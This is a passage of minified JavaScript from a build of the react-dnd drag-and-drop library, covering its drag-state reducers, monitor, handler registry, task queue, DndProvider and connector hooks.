X="dnd-core/ADD_SOURCE",J="dnd-core/ADD_TARGET",Q="dnd-core/REMOVE_SOURCE",Z="dnd-core/REMOVE_TARGET";function ee(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function te(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?ee(Object(r),!0).forEach((function(t){re(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):ee(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function re(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}var ne={itemType:null,item:null,sourceId:null,targetIds:[],dropResult:null,didDrop:!1,isSourcePublic:null};function oe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:ne,t=arguments.length>1?arguments[1]:void 0,r=t.payload;switch(t.type){case f:return te(te({},e),{},{itemType:r.itemType,item:r.item,sourceId:r.sourceId,isSourcePublic:r.isSourcePublic,dropResult:null,didDrop:!1});case l:return te(te({},e),{},{isSourcePublic:!0});case d:return te(te({},e),{},{targetIds:r.targetIds});case Z:return-1===e.targetIds.indexOf(r.targetId)?e:te(te({},e),{},{targetIds:b(e.targetIds,r.targetId)});case p:return te(te({},e),{},{dropResult:r.dropResult,didDrop:!0,targetIds:[]});case h:return te(te({},e),{},{itemType:null,item:null,sourceId:null,dropResult:null,didDrop:!1,isSourcePublic:null,targetIds:[]});default:return e}}function ie(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0,t=arguments.length>1?arguments[1]:void 0;switch(t.type){case X:case J:return e+1;case Q:case Z:return e-1;default:return e}}var ae=[],ue=[];function ce(e,t){return e!==ae&&(e===ue||void 0===t||(r=e,t.filter((function(e){return r.indexOf(e)>-1}))).length>0);var r}function se(){var e=arguments.length>1?arguments[1]:void 0;switch(e.type){case d:break;case X:case J:case Z:case Q:return ae;case f:case l:case h:case p:default:return ue}var t=e.payload,r=t.targetIds,n=void 0===r?[]:r,o=t.prevTargetIds,i=void 0===o?[]:o,a=O(n,i),u=a.length>0||!q(n,i);if(!u)return ae;var c=i[i.length-1],s=n[n.length-1];return c!==s&&(c&&a.push(c),s&&a.push(s)),a}function fe(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:0;return e+1}function le(e,t){var r=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),r.push.apply(r,n)}return r}function de(e){for(var t=1;t<arguments.length;t++){var r=null!=arguments[t]?arguments[t]:{};t%2?le(Object(r),!0).forEach((function(t){pe(e,t,r[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(r)):le(Object(r)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(r,t))}))}return e}function pe(e,t,r){return t in e?Object.defineProperty(e,t,{value:r,enumerable:!0,configurable:!0,writable:!0}):e[t]=r,e}function he(){var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{},t=arguments.length>1?arguments[1]:void 0;return{dirtyHandlerIds:se(e.dirtyHandlerIds,{type:t.type,payload:de(de({},t.payload),{},{prevTargetIds:v(e,"dragOperation.targetIds",[])})}),dragOffset:K(e.dragOffset,t),refCount:ie(e.refCount,t),dragOperation:oe(e.dragOperation,t),stateId:fe(e.stateId)}}function ge(e,t){return{x:e.x-t.x,y:e.y-t.y}}function ye(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}ae.__IS_NONE__=!0,ue.__IS_ALL__=!0;var ve=function(){function e(t,r){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.store=t,this.registry=r}var t,r,n;return t=e,(r=[{key:"subscribeToStateChange",value:function(e){var t=this,r=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{handlerIds:void 0},n=r.handlerIds;c("function"==typeof e,"listener must be a function."),c(void 0===n||Array.isArray(n),"handlerIds, when specified, must be an array of strings.");var o=this.store.getState().stateId,i=function(){var r=t.store.getState(),i=r.stateId;try{i===o||i===o+1&&!ce(r.dirtyHandlerIds,n)||e()}finally{o=i}};return this.store.subscribe(i)}},{key:"subscribeToOffsetChange",value:function(e){var t=this;c("function"==typeof e,"listener must be a function.");var r=this.store.getState().dragOffset;return this.store.subscribe((function(){var n=t.store.getState().dragOffset;n!==r&&(r=n,e())}))}},{key:"canDragSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e);return c(t,"Expected to find a valid source."),!this.isDragging()&&t.canDrag(this,e)}},{key:"canDropOnTarget",value:function(e){if(!e)return!1;var t=this.registry.getTarget(e);return c(t,"Expected to find a valid target."),!(!this.isDragging()||this.didDrop())&&P(this.registry.getTargetType(e),this.getItemType())&&t.canDrop(this,e)}},{key:"isDragging",value:function(){return Boolean(this.getItemType())}},{key:"isDraggingSource",value:function(e){if(!e)return!1;var t=this.registry.getSource(e,!0);return c(t,"Expected to find a valid source."),!(!this.isDragging()||!this.isSourcePublic())&&this.registry.getSourceType(e)===this.getItemType()&&t.isDragging(this,e)}},{key:"isOverTarget",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{shallow:!1};if(!e)return!1;var r=t.shallow;if(!this.isDragging())return!1;var n=this.registry.getTargetType(e),o=this.getItemType();if(o&&!P(n,o))return!1;var i=this.getTargetIds();if(!i.length)return!1;var a=i.indexOf(e);return r?a===i.length-1:a>-1}},{key:"getItemType",value:function(){return this.store.getState().dragOperation.itemType}},{key:"getItem",value:function(){return this.store.getState().dragOperation.item}},{key:"getSourceId",value:function(){return this.store.getState().dragOperation.sourceId}},{key:"getTargetIds",value:function(){return this.store.getState().dragOperation.targetIds}},{key:"getDropResult",value:function(){return this.store.getState().dragOperation.dropResult}},{key:"didDrop",value:function(){return this.store.getState().dragOperation.didDrop}},{key:"isSourcePublic",value:function(){return Boolean(this.store.getState().dragOperation.isSourcePublic)}},{key:"getInitialClientOffset",value:function(){return this.store.getState().dragOffset.initialClientOffset}},{key:"getInitialSourceClientOffset",value:function(){return this.store.getState().dragOffset.initialSourceClientOffset}},{key:"getClientOffset",value:function(){return this.store.getState().dragOffset.clientOffset}},{key:"getSourceClientOffset",value:function(){return e=this.store.getState().dragOffset,t=e.clientOffset,r=e.initialClientOffset,n=e.initialSourceClientOffset,t&&r&&n?ge(function(e,t){return{x:e.x+t.x,y:e.y+t.y}}(t,n),r):null;var e,t,r,n}},{key:"getDifferenceFromInitialOffset",value:function(){return e=this.store.getState().dragOffset,t=e.clientOffset,r=e.initialClientOffset,t&&r?ge(t,r):null;var e,t,r}}])&&ye(t.prototype,r),n&&ye(t,n),e}(),be=0;function me(e){return(me="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Oe(e,t){t&&Array.isArray(e)?e.forEach((function(e){return Oe(e,!1)})):c("string"==typeof e||"symbol"===me(e),t?"Type can only be a string, a symbol, or an array of either.":"Type can only be a string or a symbol.")}function Se(e){De.length||we(),De[De.length]=e}var we,De=[],Ie=0;function Ce(){for(;Ie<De.length;){var e=Ie;if(Ie+=1,De[e].call(),Ie>1024){for(var t=0,r=De.length-Ie;t<r;t++)De[t]=De[t+Ie];De.length-=Ie,Ie=0}}De.length=0,Ie=0}var ke,Te,Pe,je="undefined"!=typeof global?global:self,Ee=je.MutationObserver||je.WebKitMutationObserver;function Re(e){return function(){var t=setTimeout(n,0),r=setInterval(n,50);function n(){clearTimeout(t),clearInterval(r),e()}}}"function"==typeof Ee?(ke=1,Te=new Ee(Ce),Pe=document.createTextNode(""),Te.observe(Pe,{characterData:!0}),we=function(){ke=-ke,Pe.data=ke}):we=Re(Ce),Se.requestFlush=we,Se.makeRequestCallFromTimer=Re;var xe=[],Me=[],Ae=Se.makeRequestCallFromTimer((function(){if(Me.length)throw Me.shift()}));function _e(e){var t;(t=xe.length?xe.pop():new Ne).task=e,Se(t)}var Ne=function(){function e(){}return e.prototype.call=function(){try{this.task.call()}catch(e){_e.onerror?_e.onerror(e):(Me.push(e),Ae())}finally{this.task=null,xe[xe.length]=this}},e}();function He(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function Ue(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return $e(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return $e(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function $e(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Fe(e){var t=(be++).toString();switch(e){case r.SOURCE:return"S".concat(t);case r.TARGET:return"T".concat(t);default:throw new Error("Unknown Handler Role: ".concat(e))}}function Le(e){switch(e[0]){case"S":return r.SOURCE;case"T":return r.TARGET;default:c(!1,"Cannot parse handler ID: ".concat(e))}}function Be(e,t){var r=e.entries(),n=!1;do{var o=r.next(),i=o.done;if(Ue(o.value,2)[1]===t)return!0;n=!!i}while(!n);return!1}var Ge=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.types=new Map,this.dragSources=new Map,this.dropTargets=new Map,this.pinnedSourceId=null,this.pinnedSource=null,this.store=t}var t,n,o;return t=e,(n=[{key:"addSource",value:function(e,t){Oe(e),function(e){c("function"==typeof e.canDrag,"Expected canDrag to be a function."),c("function"==typeof e.beginDrag,"Expected beginDrag to be a function."),c("function"==typeof e.endDrag,"Expected endDrag to be a function.")}(t);var n=this.addHandler(r.SOURCE,e,t);return this.store.dispatch(function(e){return{type:X,payload:{sourceId:e}}}(n)),n}},{key:"addTarget",value:function(e,t){Oe(e,!0),function(e){c("function"==typeof e.canDrop,"Expected canDrop to be a function."),c("function"==typeof e.hover,"Expected hover to be a function."),c("function"==typeof e.drop,"Expected beginDrag to be a function.")}(t);var n=this.addHandler(r.TARGET,e,t);return this.store.dispatch(function(e){return{type:J,payload:{targetId:e}}}(n)),n}},{key:"containsHandler",value:function(e){return Be(this.dragSources,e)||Be(this.dropTargets,e)}},{key:"getSource",value:function(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1];c(this.isSourceId(e),"Expected a valid source ID.");var r=t&&e===this.pinnedSourceId,n=r?this.pinnedSource:this.dragSources.get(e);return n}},{key:"getTarget",value:function(e){return c(this.isTargetId(e),"Expected a valid target ID."),this.dropTargets.get(e)}},{key:"getSourceType",value:function(e){return c(this.isSourceId(e),"Expected a valid source ID."),this.types.get(e)}},{key:"getTargetType",value:function(e){return c(this.isTargetId(e),"Expected a valid target ID."),this.types.get(e)}},{key:"isSourceId",value:function(e){return Le(e)===r.SOURCE}},{key:"isTargetId",value:function(e){return Le(e)===r.TARGET}},{key:"removeSource",value:function(e){var t=this;c(this.getSource(e),"Expected an existing source."),this.store.dispatch(function(e){return{type:Q,payload:{sourceId:e}}}(e)),_e((function(){t.dragSources.delete(e),t.types.delete(e)}))}},{key:"removeTarget",value:function(e){c(this.getTarget(e),"Expected an existing target."),this.store.dispatch(function(e){return{type:Z,payload:{targetId:e}}}(e)),this.dropTargets.delete(e),this.types.delete(e)}},{key:"pinSource",value:function(e){var t=this.getSource(e);c(t,"Expected an existing source."),this.pinnedSourceId=e,this.pinnedSource=t}},{key:"unpinSource",value:function(){c(this.pinnedSource,"No source is pinned at the time."),this.pinnedSourceId=null,this.pinnedSource=null}},{key:"addHandler",value:function(e,t,n){var o=Fe(e);return this.types.set(o,t),e===r.SOURCE?this.dragSources.set(o,n):e===r.TARGET&&this.dropTargets.set(o,n),o}}])&&He(t.prototype,n),o&&He(t,o),e}();function qe(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function Ve(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}function We(e){var t="undefined"!=typeof window&&window.__REDUX_DEVTOOLS_EXTENSION__;return u(he,e&&t&&t({name:"dnd-core",instanceId:"dnd-core"}))}var Ye=function(){function e(){var t=this,r=arguments.length>0&&void 0!==arguments[0]&&arguments[0];qe(this,e),this.isSetUp=!1,this.handleRefCountChange=function(){var e=t.store.getState().refCount>0;t.backend&&(e&&!t.isSetUp?(t.backend.setup(),t.isSetUp=!0):!e&&t.isSetUp&&(t.backend.teardown(),t.isSetUp=!1))};var n=We(r);this.store=n,this.monitor=new ve(n,new Ge(n)),n.subscribe(this.handleRefCountChange)}var t,r,n;return t=e,(r=[{key:"receiveBackend",value:function(e){this.backend=e}},{key:"getMonitor",value:function(){return this.monitor}},{key:"getBackend",value:function(){return this.backend}},{key:"getRegistry",value:function(){return this.monitor.registry}},{key:"getActions",value:function(){var e=this,t=this.store.dispatch,r=function(e){return{beginDrag:w(e),publishDragSource:T(e),hover:j(e),drop:H(e),endDrag:L(e)}}(this);return Object.keys(r).reduce((function(n,o){var i,a=r[o];return n[o]=(i=a,function(){for(var r=arguments.length,n=new Array(r),o=0;o<r;o++)n[o]=arguments[o];var a=i.apply(e,n);void 0!==a&&t(a)}),n}),{})}},{key:"dispatch",value:function(e){this.store.dispatch(e)}}])&&Ve(t.prototype,r),n&&Ve(t,n),e}();function ze(e,t,r,n){var o=new Ye(n),i=e(o,t,r);return o.receiveBackend(i),o}var Ke=t.createContext({dragDropManager:void 0});function Xe(e,t,r,n){return{dragDropManager:ze(e,t,r,n)}}function Je(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Qe(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return Qe(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Qe(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Ze(e,t){if(null==e)return{};var r,n,o=function(e,t){if(null==e)return{};var r,n,o={},i=Object.keys(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0||(o[r]=e[r]);return o}(e,t);if(Object.getOwnPropertySymbols){var i=Object.getOwnPropertySymbols(e);for(n=0;n<i.length;n++)r=i[n],t.indexOf(r)>=0||Object.prototype.propertyIsEnumerable.call(e,r)&&(o[r]=e[r])}return o}var et=0,tt=t.memo((function(e){var r=e.children,n=Je(function(e){if("manager"in e){return[{dragDropManager:e.manager},!1]}var t=function(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:nt(),r=arguments.length>2?arguments[2]:void 0,n=arguments.length>3?arguments[3]:void 0,o=t;o[rt]||(o[rt]=Xe(e,t,r,n));return o[rt]}(e.backend,e.context,e.options,e.debugMode),r=!e.context;return[t,r]}(Ze(e,["children"])),2),o=n[0],i=n[1];return t.useEffect((function(){return i&&et++,function(){i&&(0===--et&&(nt()[rt]=null))}}),[]),t.createElement(Ke.Provider,{value:o},r)}));tt.displayName="DndProvider";var rt=Symbol.for("__REACT_DND_CONTEXT_INSTANCE__");function nt(){return"undefined"!=typeof global?global:window}var ot=t.memo((function(e){var r=e.connect,n=e.src;return t.useEffect((function(){if("undefined"!=typeof Image){var e=!1,t=new Image;return t.src=n,t.onload=function(){r(t),e=!0},function(){e&&r(null)}}})),null}));ot.displayName="DragPreviewImage";var it="undefined"!=typeof window?t.useLayoutEffect:t.useEffect;function at(e,t,r,n){var o=r?r.call(n,e,t):void 0;if(void 0!==o)return!!o;if(e===t)return!0;if("object"!=typeof e||!e||"object"!=typeof t||!t)return!1;var i=Object.keys(e),a=Object.keys(t);if(i.length!==a.length)return!1;for(var u=Object.prototype.hasOwnProperty.bind(t),c=0;c<i.length;c++){var s=i[c];if(!u(s))return!1;var f=e[s],l=t[s];if(!1===(o=r?r.call(n,f,l,s):void 0)||void 0===o&&f!==l)return!1}return!0}function ut(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return ct(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return ct(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function ct(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function st(e,r,n){var o=ut(t.useState((function(){return r(e)})),2),i=o[0],a=o[1],u=t.useCallback((function(){var t=r(e);at(i,t)||(a(t),n&&n())}),[i,e,n]);return it(u,[]),[i,u]}function ft(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return lt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return lt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function lt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function dt(e,t,r){var n=ft(st(e,t,r),2),o=n[0],i=n[1];return it((function(){var t=e.getHandlerId();if(null!=t)return e.subscribeToStateChange(i,{handlerIds:[t]})}),[e,i]),o}function pt(e,t,r){var n=r.getRegistry(),o=n.addTarget(e,t);return[o,function(){return n.removeTarget(o)}]}function ht(e,t,r){var n=r.getRegistry(),o=n.addSource(e,t);return[o,function(){return n.removeSource(o)}]}function gt(){var e=t.useContext(Ke).dragDropManager;return c(null!=e,"Expected drag drop context"),e}function yt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var vt=!1,bt=!1,mt=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.sourceId=null,this.internalMonitor=t.getMonitor()}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.sourceId=e}},{key:"getHandlerId",value:function(){return this.sourceId}},{key:"canDrag",value:function(){c(!vt,"You may not call monitor.canDrag() inside your canDrag() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return vt=!0,this.internalMonitor.canDragSource(this.sourceId)}finally{vt=!1}}},{key:"isDragging",value:function(){if(!this.sourceId)return!1;c(!bt,"You may not call monitor.isDragging() inside your isDragging() implementation. Read more: http://react-dnd.github.io/react-dnd/docs/api/drag-source-monitor");try{return bt=!0,this.internalMonitor.isDraggingSource(this.sourceId)}finally{bt=!1}}},{key:"subscribeToStateChange",value:function(e,t){return this.internalMonitor.subscribeToStateChange(e,t)}},{key:"isDraggingSource",value:function(e){return this.internalMonitor.isDraggingSource(e)}},{key:"isOverTarget",value:function(e,t){return this.internalMonitor.isOverTarget(e,t)}},{key:"getTargetIds",value:function(){return this.internalMonitor.getTargetIds()}},{key:"isSourcePublic",value:function(){return this.internalMonitor.isSourcePublic()}},{key:"getSourceId",value:function(){return this.internalMonitor.getSourceId()}},{key:"subscribeToOffsetChange",value:function(e){return this.internalMonitor.subscribeToOffsetChange(e)}},{key:"canDragSource",value:function(e){return this.internalMonitor.canDragSource(e)}},{key:"canDropOnTarget",value:function(e){return this.internalMonitor.canDropOnTarget(e)}},{key:"getItemType",value:function(){return this.internalMonitor.getItemType()}},{key:"getItem",value:function(){return this.internalMonitor.getItem()}},{key:"getDropResult",value:function(){return this.internalMonitor.getDropResult()}},{key:"didDrop",value:function(){return this.internalMonitor.didDrop()}},{key:"getInitialClientOffset",value:function(){return this.internalMonitor.getInitialClientOffset()}},{key:"getInitialSourceClientOffset",value:function(){return this.internalMonitor.getInitialSourceClientOffset()}},{key:"getSourceClientOffset",value:function(){return this.internalMonitor.getSourceClientOffset()}},{key:"getClientOffset",value:function(){return this.internalMonitor.getClientOffset()}},{key:"getDifferenceFromInitialOffset",value:function(){return this.internalMonitor.getDifferenceFromInitialOffset()}}])&&yt(t.prototype,r),n&&yt(t,n),e}();function Ot(e,t){"function"==typeof e?e(t):e.current=t}function St(e,r){var n=e.ref;return c("string"!=typeof n,"Cannot connect React DnD to an element with an existing string ref. Please convert it to use a callback ref instead, or wrap it into a <span> or <div>. Read more: https://facebook.github.io/react/docs/more-about-refs.html#the-ref-callback-attribute"),n?t.cloneElement(e,{ref:function(e){Ot(n,e),Ot(r,e)}}):t.cloneElement(e,{ref:r})}function wt(e){if("string"!=typeof e.type){var t=e.type.displayName||e.type.name||"the component";throw new Error("Only native element nodes can now be passed to React DnD connectors."+"You can either wrap ".concat(t," into a <div>, or turn it into a ")+"drag source or a drop target itself.")}}function Dt(e){var r={};return Object.keys(e).forEach((function(n){var o=e[n];if(n.endsWith("Ref"))r[n]=e[n];else{var i=function(e){return function(){var r=arguments.length>0&&void 0!==arguments[0]?arguments[0]:null,n=arguments.length>1&&void 0!==arguments[1]?arguments[1]:null;if(!t.isValidElement(r)){var o=r;return e(o,n),o}var i=r;wt(i);var a=n?function(t){return e(t,n)}:e;return St(i,a)}}(o);r[n]=function(){return i}}})),r}function It(e){return(It="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Ct(e){return null!==e&&"object"===It(e)&&Object.prototype.hasOwnProperty.call(e,"current")}function kt(e,t){for(var r=0;r<t.length;r++){var n=t[r];n.enumerable=n.enumerable||!1,n.configurable=!0,"value"in n&&(n.writable=!0),Object.defineProperty(e,n.key,n)}}var Tt=function(){function e(t){var r=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),this.hooks=Dt({dragSource:function(e,t){r.clearDragSource(),r.dragSourceOptions=t||null,Ct(e)?r.dragSourceRef=e:r.dragSourceNode=e,r.reconnectDragSource()},dragPreview:function(e,t){r.clearDragPreview(),r.dragPreviewOptions=t||null,Ct(e)?r.dragPreviewRef=e:r.dragPreviewNode=e,r.reconnectDragPreview()}}),this.handlerId=null,this.dragSourceRef=null,this.dragSourceOptionsInternal=null,this.dragPreviewRef=null,this.dragPreviewOptionsInternal=null,this.lastConnectedHandlerId=null,this.lastConnectedDragSource=null,this.lastConnectedDragSourceOptions=null,this.lastConnectedDragPreview=null,this.lastConnectedDragPreviewOptions=null,this.backend=t}var t,r,n;return t=e,(r=[{key:"receiveHandlerId",value:function(e){this.handlerId!==e&&(this.handlerId=e,this.reconnect())}},{key:"reconnect",value:function(){this.reconnectDragSource(),this.reconnectDragPreview()}},{key:"reconnectDragSource",value:function(){var e=this.dragSource,t=this.didHandlerIdChange()||this.didConnectedDragSourceChange()||this.didDragSourceOptionsChange();t&&this.disconnectDragSource(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragSource=e,this.lastConnectedDragSourceOptions=this.dragSourceOptions,this.dragSourceUnsubscribe=this.backend.connectDragSource(this.handlerId,e,this.dragSourceOptions)):this.lastConnectedDragSource=e)}},{key:"reconnectDragPreview",value:function(){var e=this.dragPreview,t=this.didHandlerIdChange()||this.didConnectedDragPreviewChange()||this.didDragPreviewOptionsChange();t&&this.disconnectDragPreview(),this.handlerId&&(e?t&&(this.lastConnectedHandlerId=this.handlerId,this.lastConnectedDragPreview=e,this.lastConnectedDragPreviewOptions=this.dragPreviewOptions,this.dragPreviewUnsubscribe=this.backend.connectDragPreview(this.handlerId,e,this.dragPreviewOptions)):this.lastConnectedDragPreview=e)}},{key:"didHandlerIdChange",value:function(){return this.lastConnectedHandlerId!==this.handlerId}},{key:"didConnectedDragSourceChange",value:function(){return this.lastConnectedDragSource!==this.dragSource}},{key:"didConnectedDragPreviewChange",value:function(){return this.lastConnectedDragPreview!==this.dragPreview}},{key:"didDragSourceOptionsChange",value:function(){return!at(this.lastConnectedDragSourceOptions,this.dragSourceOptions)}},{key:"didDragPreviewOptionsChange",value:function(){return!at(this.lastConnectedDragPreviewOptions,this.dragPreviewOptions)}},{key:"disconnectDragSource",value:function(){this.dragSourceUnsubscribe&&(this.dragSourceUnsubscribe(),this.dragSourceUnsubscribe=void 0)}},{key:"disconnectDragPreview",value:function(){this.dragPreviewUnsubscribe&&(this.dragPreviewUnsubscribe(),this.dragPreviewUnsubscribe=void 0,this.dragPreviewNode=null,this.dragPreviewRef=null)}},{key:"clearDragSource",value:function(){this.dragSourceNode=null,this.dragSourceRef=null}},{key:"clearDragPreview",value:function(){this.dragPreviewNode=null,this.dragPreviewRef=null}},{key:"connectTarget",get:function(){return this.dragSource}},{key:"dragSourceOptions",get:function(){return this.dragSourceOptionsInternal},set:function(e){this.dragSourceOptionsInternal=e}},{key:"dragPreviewOptions",get:function(){return this.dragPreviewOptionsInternal},set:function(e){this.dragPreviewOptionsInternal=e}},{key:"dragSource",get:function(){return this.dragSourceNode||this.dragSourceRef&&this.dragSourceRef.current}},{key:"dragPreview",get:function(){return this.dragPreviewNode||this.dragPreviewRef&&this.dragPreviewRef.current}}])&&kt(t.prototype,r),n&&kt(t,n),e}();function Pt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return jt(e,t);var r=Object.prototype.toString.call(e).slice(8,-1);"Object"===r&&e.constructor&&(r=e.constructor.name);if("Map"===r||"Set"===r)return Array.from(e);if("Arguments"===r||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(r))return jt(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function jt(e,t){(null==t||t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}function Et(e){return(Et="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Rt(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){if("undefined"==typeof Symbol||!(Symbol.iterator in Object(e)))return;var r=[],n=!0,o=!1,i=void 0;try{for(var a,u=e[Symbol.iterator]();!(n=(a=u.next()).done)&&(r.push(a.value),!t||r.length!==t);n=!0);}catch(e){o=!0,i=e}finally{try{n||null==u.return||u.return()}finally{if(o)throw i}}return r}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return xt(e,t);var 